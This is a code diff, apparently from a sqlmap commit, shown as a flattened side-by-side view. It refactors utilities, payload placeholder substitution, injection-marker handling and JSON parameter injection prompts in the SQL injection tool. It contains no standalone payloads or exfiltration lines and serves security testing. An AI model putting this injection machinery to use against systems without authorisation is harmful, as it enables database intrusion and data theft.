paramDict = conf.paramDict[place] paramDict = conf.paramDict[place]
origValue = getUnicode(paramDict[parameter]) origValue = getUnicode(paramDict[parameter])
newValue = getUnicode(newValue) if newValue else newValue
if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue: if place == PLACE.URI or BOUNDED_INJECTION_MARKER in origValue:
paramString = origValue paramString = origValue
@@ -120,8 +121,8 @@ class Agent(object):
origValue = _.split('=', 1)[1] if '=' in _ else "" origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER: elif place == PLACE.CUSTOM_HEADER:
paramString = origValue paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = origValue[origValue.find(',') + 1:] origValue = origValue[origValue.find(',') + 1:]
origValue = origValue.split(kb.customInjectionMark)[0]
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue) match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
if match: if match:
origValue = match.group("value") origValue = match.group("value")
@@ -293,17 +294,21 @@ class Agent(object):
if payload is None: if payload is None:
return return
_ = ( replacements = (
("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\ ("[DELIMITER_START]", kb.chars.start),
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\ ("[DELIMITER_STOP]", kb.chars.stop),
("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT) ("[AT_REPLACE]", kb.chars.at),
("[SPACE_REPLACE]", kb.chars.space),
("[DOLLAR_REPLACE]", kb.chars.dollar),
("[HASH_REPLACE]", kb.chars.hash_),
("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
) )
payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload) payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
payload = payload.replace(_, str(randomInt())) payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)): for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
payload = payload.replace(_, randomStr()) payload = payload.replace(_, randomStr())
if origValue is not None and "[ORIGVALUE]" in payload: if origValue is not None and "[ORIGVALUE]" in payload:
@@ -361,7 +366,7 @@ class Agent(object):
rootQuery = queries[Backend.getIdentifiedDbms()] rootQuery = queries[Backend.getIdentifiedDbms()]
hexField = field hexField = field
if 'hex' in rootQuery: if "hex" in rootQuery:
hexField = rootQuery.hex.query % field hexField = rootQuery.hex.query % field
else: else:
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
@@ -927,7 +932,7 @@ class Agent(object):
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if not " ORDER BY " in limitedQuery: if " ORDER BY " not in limitedQuery:
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT") limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery: elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -10,11 +10,11 @@ try:
except: except:
import pickle import pickle
import bz2
import itertools import itertools
import os import os
import sys import sys
import tempfile import tempfile
import zlib
from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapSystemException from lib.core.exception import SqlmapSystemException
@@ -52,7 +52,7 @@ class BigArray(list):
List-like class used for storing large amounts of data (disk cached) List-like class used for storing large amounts of data (disk cached)
""" """
def __init__(self): def __init__(self, items=[]):
self.chunks = [[]] self.chunks = [[]]
self.chunk_length = sys.maxint self.chunk_length = sys.maxint
self.cache = None self.cache = None
@@ -60,6 +60,9 @@ class BigArray(list):
self._os_remove = os.remove self._os_remove = os.remove
self._size_counter = 0 self._size_counter = 0
for item in items:
self.append(item)
def append(self, value): def append(self, value):
self.chunks[-1].append(value) self.chunks[-1].append(value)
@@ -83,11 +86,11 @@ class BigArray(list):
self.chunks.pop() self.chunks.pop()
try: try:
with open(self.chunks[-1], "rb") as f: with open(self.chunks[-1], "rb") as f:
self.chunks[-1] = pickle.loads(zlib.decompress(f.read())) self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
except IOError, ex: except IOError, ex:
errMsg = "exception occurred while retrieving data " errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
return self.chunks[-1].pop() return self.chunks[-1].pop()
@@ -104,7 +107,7 @@ class BigArray(list):
self.filenames.add(filename) self.filenames.add(filename)
os.close(handle) os.close(handle)
with open(filename, "w+b") as f: with open(filename, "w+b") as f:
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename return filename
except (OSError, IOError), ex: except (OSError, IOError), ex:
errMsg = "exception occurred while storing data " errMsg = "exception occurred while storing data "
@@ -112,7 +115,7 @@ class BigArray(list):
errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "make sure that there is enough disk space left. If problem persists, "
errMsg += "try to set environment variable 'TEMP' to a location " errMsg += "try to set environment variable 'TEMP' to a location "
errMsg += "writeable by the current user" errMsg += "writeable by the current user"
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
def _checkcache(self, index): def _checkcache(self, index):
if (self.cache and self.cache.index != index and self.cache.dirty): if (self.cache and self.cache.index != index and self.cache.dirty):
@@ -122,11 +125,11 @@ class BigArray(list):
if not (self.cache and self.cache.index == index): if not (self.cache and self.cache.index == index):
try: try:
with open(self.chunks[index], "rb") as f: with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False) self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
except IOError, ex: except IOError, ex:
errMsg = "exception occurred while retrieving data " errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException, errMsg raise SqlmapSystemException(errMsg)
def __getstate__(self): def __getstate__(self):
return self.chunks, self.filenames return self.chunks, self.filenames
@@ -136,15 +139,10 @@ class BigArray(list):
self.chunks, self.filenames = state self.chunks, self.filenames = state
def __getslice__(self, i, j): def __getslice__(self, i, j):
retval = BigArray()
i = max(0, len(self) + i if i < 0 else i) i = max(0, len(self) + i if i < 0 else i)
j = min(len(self), len(self) + j if j < 0 else j) j = min(len(self), len(self) + j if j < 0 else j)
for _ in xrange(i, j): return BigArray(self[_] for _ in xrange(i, j))
retval.append(self[_])
return retval
def __getitem__(self, y): def __getitem__(self, y):
if y < 0: if y < 0:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -9,6 +9,7 @@ import codecs
import contextlib import contextlib
import cookielib import cookielib
import copy import copy
import distutils
import getpass import getpass
import hashlib import hashlib
import httplib import httplib
@@ -18,6 +19,7 @@ import locale
import logging import logging
import ntpath import ntpath
import os import os
import platform
import posixpath import posixpath
import random import random
import re import re
@@ -73,6 +75,7 @@ from lib.core.enums import EXPECTED
from lib.core.enums import HEURISTIC_TEST from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD from lib.core.enums import HTTPMETHOD
from lib.core.enums import LOGGING_LEVELS
from lib.core.enums import MKSTEMP_PREFIX from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import OPTION_TYPE from lib.core.enums import OPTION_TYPE
from lib.core.enums import OS from lib.core.enums import OS
@@ -593,9 +596,7 @@ def paramToDict(place, parameters=None):
testableParameters[parameter] = "=".join(parts[1:]) testableParameters[parameter] = "=".join(parts[1:])
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
_ = urldecode(testableParameters[parameter], convall=True) _ = urldecode(testableParameters[parameter], convall=True)
if (_.endswith("'") and _.count("'") == 1 if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
warnMsg = "it appears that you have provided tainted parameter values " warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most likely leftover " % element warnMsg += "('%s') with most likely leftover " % element
warnMsg += "chars/statements from manual SQL injection test(s). " warnMsg += "chars/statements from manual SQL injection test(s). "
@@ -635,7 +636,7 @@ def paramToDict(place, parameters=None):
elif isinstance(value, (bool, int, float, basestring)): elif isinstance(value, (bool, int, float, basestring)):
original = current[key] original = current[key]
if isinstance(value, bool): if isinstance(value, bool):
current[key] = "%s%s" % (str(value).lower(), BOUNDED_INJECTION_MARKER) current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
else: else:
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters) candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters)
@@ -648,7 +649,7 @@ def paramToDict(place, parameters=None):
message = "it appears that provided value for %s parameter '%s' " % (place, parameter) message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
message += "is JSON deserializable. Do you want to inject inside? [y/N] " message += "is JSON deserializable. Do you want to inject inside? [y/N] "
if not readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
del testableParameters[parameter] del testableParameters[parameter]
testableParameters.update(candidates) testableParameters.update(candidates)
break break
@@ -867,7 +868,10 @@ def boldifyMessage(message):
def setColor(message, bold=False): def setColor(message, bold=False):
retVal = message retVal = message
level = extractRegexResult(r"\[(?P<result>[A-Z ]+)\]", message) or kb.get("stickyLevel") level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
if isinstance(level, unicode):
level = unicodeencode(level)
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
if bold: if bold:
@@ -883,6 +887,21 @@ def setColor(message, bold=False):
return retVal return retVal
def clearColors(message):
"""
Clears ANSI color codes
>>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld")
'Hello World'
"""
retVal = message
if message:
retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
return retVal
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS): def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
""" """
Writes text to the stdout (console) stream Writes text to the stdout (console) stream
@@ -891,7 +910,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
message = "" message = ""
if not kb.get("threadException"): if not kb.get("threadException"):
if forceOutput or not getCurrentThreadData().disableStdOut: if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
if kb.get("multiThreadMode"): if kb.get("multiThreadMode"):
logging._acquireLock() logging._acquireLock()
@@ -996,8 +1015,11 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
elif answer is None and retVal: elif answer is None and retVal:
retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING)) retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
if message and getattr(LOGGER_HANDLER, "is_tty", False):
message = "\r%s" % message
if retVal: if retVal:
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True) dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the given answer" debugMsg = "used the given answer"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -1011,9 +1033,9 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
else: else:
options = unicode() options = unicode()
dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True) dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the default behaviour, running in batch mode" debugMsg = "used the default behavior, running in batch mode"
logger.debug(debugMsg) logger.debug(debugMsg)
retVal = default retVal = default
@@ -1024,7 +1046,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if conf.get("beep"): if conf.get("beep"):
beep() beep()
dataToStdout("\r%s" % message, forceOutput=True, bold=True) dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
kb.prependFlag = False kb.prependFlag = False
retVal = raw_input().strip() or default retVal = raw_input().strip() or default
@@ -1047,7 +1069,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if boolean: if boolean:
retVal = retVal.strip().upper() == 'Y' retVal = retVal.strip().upper() == 'Y'
return retVal return retVal or ""
def randomRange(start=0, stop=1000, seed=None): def randomRange(start=0, stop=1000, seed=None):
""" """
@@ -1172,7 +1194,7 @@ def banner():
_ = BANNER _ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv: if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
_ = re.sub("\033.+?m", "", _) _ = clearColors(_)
elif IS_WIN: elif IS_WIN:
coloramainit() coloramainit()
@@ -1350,7 +1372,7 @@ def parseTargetDirect():
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
import _mssql __import__("_mssql")
import pymssql import pymssql
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
@@ -1360,17 +1382,21 @@ def parseTargetDirect():
raise SqlmapMissingDependence(errMsg) raise SqlmapMissingDependence(errMsg)
elif dbmsName == DBMS.MYSQL: elif dbmsName == DBMS.MYSQL:
import pymysql __import__("pymysql")
elif dbmsName == DBMS.PGSQL: elif dbmsName == DBMS.PGSQL:
import psycopg2 __import__("psycopg2")
elif dbmsName == DBMS.ORACLE: elif dbmsName == DBMS.ORACLE:
import cx_Oracle __import__("cx_Oracle")
# Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper
if (conf.dbmsUser or "").upper() == "SYS":
conf.direct = "%s?mode=SYSDBA" % conf.direct
elif dbmsName == DBMS.SQLITE: elif dbmsName == DBMS.SQLITE:
import sqlite3 __import__("sqlite3")
elif dbmsName == DBMS.ACCESS: elif dbmsName == DBMS.ACCESS:
import pyodbc __import__("pyodbc")
elif dbmsName == DBMS.FIREBIRD: elif dbmsName == DBMS.FIREBIRD:
import kinterbasdb __import__("kinterbasdb")
except: except:
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__: if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
pass pass
@@ -1398,10 +1424,10 @@ def parseTargetUrl():
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I): if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
if ":443/" in conf.url: if re.search(r":443\b", conf.url):
conf.url = "https://" + conf.url conf.url = "https://%s" % conf.url
else: else:
conf.url = "http://" + conf.url conf.url = "http://%s" % conf.url
if kb.customInjectionMark in conf.url: if kb.customInjectionMark in conf.url:
conf.url = conf.url.replace('?', URI_QUESTION_MARKER) conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
@@ -1424,13 +1450,14 @@ def parseTargetUrl():
conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "") conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
try: try:
_ = conf.hostname.encode("idna") conf.hostname.encode("idna")
except LookupError: conf.hostname.encode(UNICODE_ENCODING)
_ = conf.hostname.encode(UNICODE_ENCODING) except (LookupError, UnicodeError):
except UnicodeError: invalid = True
_ = None else:
invalid = False
if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)): if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
errMsg = "invalid target URL ('%s')" % originalUrl errMsg = "invalid target URL ('%s')" % originalUrl
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@@ -1473,6 +1500,23 @@ def parseTargetUrl():
if conf.url != originalUrl: if conf.url != originalUrl:
kb.originalUrls[conf.url] = originalUrl kb.originalUrls[conf.url] = originalUrl
def escapeJsonValue(value):
"""
Escapes JSON value (used in payloads)
# Reference: https://stackoverflow.com/a/16652683
"""
retVal = ""
for char in value:
if char < ' ' or char == '"':
retVal += json.dumps(char)[1:-1]
else:
retVal += char
return retVal
def expandAsteriskForColumns(expression): def expandAsteriskForColumns(expression):
""" """
If the user provided an asterisk rather than the column(s) If the user provided an asterisk rather than the column(s)
@@ -1676,32 +1720,32 @@ def getCharset(charsetType=None):
# Binary # Binary
elif charsetType == CHARSET_TYPE.BINARY: elif charsetType == CHARSET_TYPE.BINARY:
asciiTbl.extend([0, 1]) asciiTbl.extend((0, 1))
asciiTbl.extend(xrange(47, 50)) asciiTbl.extend(xrange(47, 50))
# Digits # Digits
elif charsetType == CHARSET_TYPE.DIGITS: elif charsetType == CHARSET_TYPE.DIGITS:
asciiTbl.extend([0, 9]) asciiTbl.extend((0, 9))
asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(47, 58))
# Hexadecimal # Hexadecimal
elif charsetType == CHARSET_TYPE.HEXADECIMAL: elif charsetType == CHARSET_TYPE.HEXADECIMAL:
asciiTbl.extend([0, 1]) asciiTbl.extend((0, 1))
asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(47, 58))
asciiTbl.extend(xrange(64, 71)) asciiTbl.extend(xrange(64, 71))
asciiTbl.extend([87, 88]) # X asciiTbl.extend((87, 88)) # X
asciiTbl.extend(xrange(96, 103)) asciiTbl.extend(xrange(96, 103))
asciiTbl.extend([119, 120]) # x asciiTbl.extend((119, 120)) # x
# Characters # Characters
elif charsetType == CHARSET_TYPE.ALPHA: elif charsetType == CHARSET_TYPE.ALPHA:
asciiTbl.extend([0, 1]) asciiTbl.extend((0, 1))
asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(64, 91))
asciiTbl.extend(xrange(96, 123)) asciiTbl.extend(xrange(96, 123))
# Characters and digits # Characters and digits
elif charsetType == CHARSET_TYPE.ALPHANUM: elif charsetType == CHARSET_TYPE.ALPHANUM:
asciiTbl.extend([0, 1]) asciiTbl.extend((0, 1))
asciiTbl.extend(xrange(47, 58)) asciiTbl.extend(xrange(47, 58))
asciiTbl.extend(xrange(64, 91)) asciiTbl.extend(xrange(64, 91))
asciiTbl.extend(xrange(96, 123)) asciiTbl.extend(xrange(96, 123))
@@ -1892,7 +1936,7 @@ def isWindowsDriveLetterPath(filepath):
def posixToNtSlashes(filepath): def posixToNtSlashes(filepath):
""" """
Replaces all occurances of Posix slashes (/) in provided Replaces all occurrences of Posix slashes (/) in provided
filepath with NT ones (\) filepath with NT ones (\)
>>> posixToNtSlashes('C:/Windows') >>> posixToNtSlashes('C:/Windows')
@@ -1903,7 +1947,7 @@ def posixToNtSlashes(filepath):
def ntToPosixSlashes(filepath): def ntToPosixSlashes(filepath):
""" """
Replaces all occurances of NT slashes (\) in provided Replaces all occurrences of NT slashes (\) in provided
filepath with Posix ones (/) filepath with Posix ones (/)
>>> ntToPosixSlashes('C:\\Windows') >>> ntToPosixSlashes('C:\\Windows')
@@ -1984,7 +2028,7 @@ def parseXmlFile(xmlFile, handler):
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
def getSQLSnippet(dbms, sfile, **variables): def getSQLSnippet(dbms, sfile, **variables):
""" """
@@ -2116,7 +2160,7 @@ def initCommonOutputs():
if line not in kb.commonOutputs[key]: if line not in kb.commonOutputs[key]:
kb.commonOutputs[key].add(line) kb.commonOutputs[key].add(line)
def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False): def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
""" """
Returns newline delimited items contained inside file Returns newline delimited items contained inside file
""" """
@@ -2129,20 +2173,14 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un
checkFile(filename) checkFile(filename)
try: try:
with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f: with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f:
for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used for line in (f.readlines() if unicoded else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used
if commentPrefix: if commentPrefix:
if line.find(commentPrefix) != -1: if line.find(commentPrefix) != -1:
line = line[:line.find(commentPrefix)] line = line[:line.find(commentPrefix)]
line = line.strip() line = line.strip()
if not unicode_:
try:
line = str.encode(line)
except UnicodeDecodeError:
continue
if line: if line:
if lowercase: if lowercase:
line = line.lower() line = line.lower()
@@ -2515,7 +2553,7 @@ def findMultipartPostBoundary(post):
return retVal return retVal
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True): def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
""" """
URL decodes given value URL decodes given value
@@ -2533,14 +2571,14 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH
pass pass
finally: finally:
if convall: if convall:
result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value) result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value)
else: else:
def _(match): def _(match):
charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable) charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
char = chr(ord(match.group(1).decode("hex"))) char = chr(ord(match.group(1).decode("hex")))
return char if char in charset else match.group(0) return char if char in charset else match.group(0)
result = value result = value
if plusspace: if spaceplus:
result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
result = re.sub(r"%([0-9a-fA-F]{2})", _, result) result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
@@ -2642,7 +2680,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
def getPageTemplate(payload, place): # Cross-linked function def getPageTemplate(payload, place): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
@cachedmethod @cachedmethod
@@ -2898,7 +2936,7 @@ def isDBMSVersionAtLeast(version):
value = filterStringValue(value, '[0-9.><=]') value = filterStringValue(value, '[0-9.><=]')
if isinstance(value, basestring): if value and isinstance(value, basestring):
if value.startswith(">="): if value.startswith(">="):
value = float(value.replace(">=", "")) value = float(value.replace(">=", ""))
elif value.startswith(">"): elif value.startswith(">"):
@@ -2908,7 +2946,7 @@ def isDBMSVersionAtLeast(version):
elif value.startswith(">"): elif value.startswith(">"):
value = float(value.replace("<", "")) - 0.01 value = float(value.replace("<", "")) - 0.01
retVal = getUnicode(value) >= getUnicode(version) retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version))
return retVal return retVal
@@ -3179,9 +3217,7 @@ def showHttpErrorCodes():
if kb.httpErrorCodes: if kb.httpErrorCodes:
warnMsg = "HTTP error codes detected during run:\n" warnMsg = "HTTP error codes detected during run:\n"
warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \ warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items())
if code in httplib.responses else '?', count) \
for code, count in kb.httpErrorCodes.items())
logger.warn(warnMsg) logger.warn(warnMsg)
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()): if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
msg = "too many 4xx and/or 5xx HTTP error codes " msg = "too many 4xx and/or 5xx HTTP error codes "
@@ -3197,8 +3233,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu
return codecs.open(filename, mode, encoding, errors, buffering) return codecs.open(filename, mode, encoding, errors, buffering)
except IOError: except IOError:
errMsg = "there has been a file opening error for filename '%s'. " % filename errMsg = "there has been a file opening error for filename '%s'. " % filename
errMsg += "Please check %s permissions on a file " % ("write" if \ errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
errMsg += "and that it's not locked by another process." errMsg += "and that it's not locked by another process."
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -3263,6 +3298,8 @@ def checkIntegrity():
logger.debug("running code integrity check") logger.debug("running code integrity check")
retVal = True retVal = True
if os.path.isfile(paths.CHECKSUM_MD5):
for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)): for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _)) path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
if not os.path.isfile(path): if not os.path.isfile(path):
@@ -3271,6 +3308,7 @@ def checkIntegrity():
elif md5File(path) != checksum: elif md5File(path) != checksum:
logger.error("wrong checksum of file '%s' detected" % path) logger.error("wrong checksum of file '%s' detected" % path)
retVal = False retVal = False
return retVal return retVal
def unhandledExceptionMessage(): def unhandledExceptionMessage():
@@ -3286,9 +3324,9 @@ def unhandledExceptionMessage():
errMsg += "reproduce the bug. The " errMsg += "reproduce the bug. The "
errMsg += "developers will try to reproduce the bug, fix it accordingly " errMsg += "developers will try to reproduce the bug, fix it accordingly "
errMsg += "and get back to you\n" errMsg += "and get back to you\n"
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % PLATFORM errMsg += "Operating system: %s\n" % platform.platform()
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
